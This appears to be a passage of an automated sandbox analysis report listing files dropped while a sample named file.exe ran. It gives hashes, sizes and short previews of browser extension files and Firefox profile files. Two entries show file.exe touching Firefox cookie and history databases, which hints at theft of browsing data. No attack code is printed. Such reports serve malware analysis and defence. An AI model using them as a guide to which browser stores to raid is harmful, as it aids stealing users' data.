uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Reputation:	unknown
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Reputation:	unknown
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Reputation:	unknown
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Reputation:	unknown
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7532_1897850990\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Reputation:	unknown
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7532_863584808\3ed8c6e4-a1a2-4473-8f5b-f6b09bfd26c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7532_863584808\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Reputation:	unknown
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7532_863584808\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7532_863584808\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Reputation:	unknown
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7532_863584808\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Reputation:	unknown
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14081
Entropy (8bit):	5.467075134275006
Encrypted:	false
SSDEEP:	192:t5OgFk5IEnTFTRRUYbBp6GLZNMGaXUq6qU4Afzy+/3/7Ys585RYiNBw8dpSl:OKevFNM4/7yCYHdwO0
MD5:	60891C80F20CA52D19A73B531272FD94
SHA1:	9D1E3662C6F0DD607D0481775EAD936B5A0CAD4D
SHA-256:	041FF7D2E09B86A45592DB8DA75F7FFEB158555C599760C7A84D0776A6B1D1F2
SHA-512:	B4593161EB40DEF0DDA4B184060513382A922BDBD4F37606D94276580840972D1B646151B56680935A745D7184DD14B65635F3CB16D27256CD222C8FCB1F1AB2
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1731980681);..user_pref("app.update.lastUpdateTime.background-update-timer", 1731980681);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1731980681);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173198

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14081
Entropy (8bit):	5.467075134275006
Encrypted:	false
SSDEEP:	192:t5OgFk5IEnTFTRRUYbBp6GLZNMGaXUq6qU4Afzy+/3/7Ys585RYiNBw8dpSl:OKevFNM4/7yCYHdwO0
MD5:	60891C80F20CA52D19A73B531272FD94
SHA1:	9D1E3662C6F0DD607D0481775EAD936B5A0CAD4D
SHA-256:	041FF7D2E09B86A45592DB8DA75F7FFEB158555C599760C7A84D0776A6B1D1F2
SHA-512:	B4593161EB40DEF0DDA4B184060513382A922BDBD4F37606D94276580840972D1B646151B56680935A745D7184DD14B65635F3CB16D27256CD222C8FCB1F1AB2
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1731980681);..user_pref("app.update.lastUpdateTime.background-update-timer", 1731980681);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1731980681);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173198

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
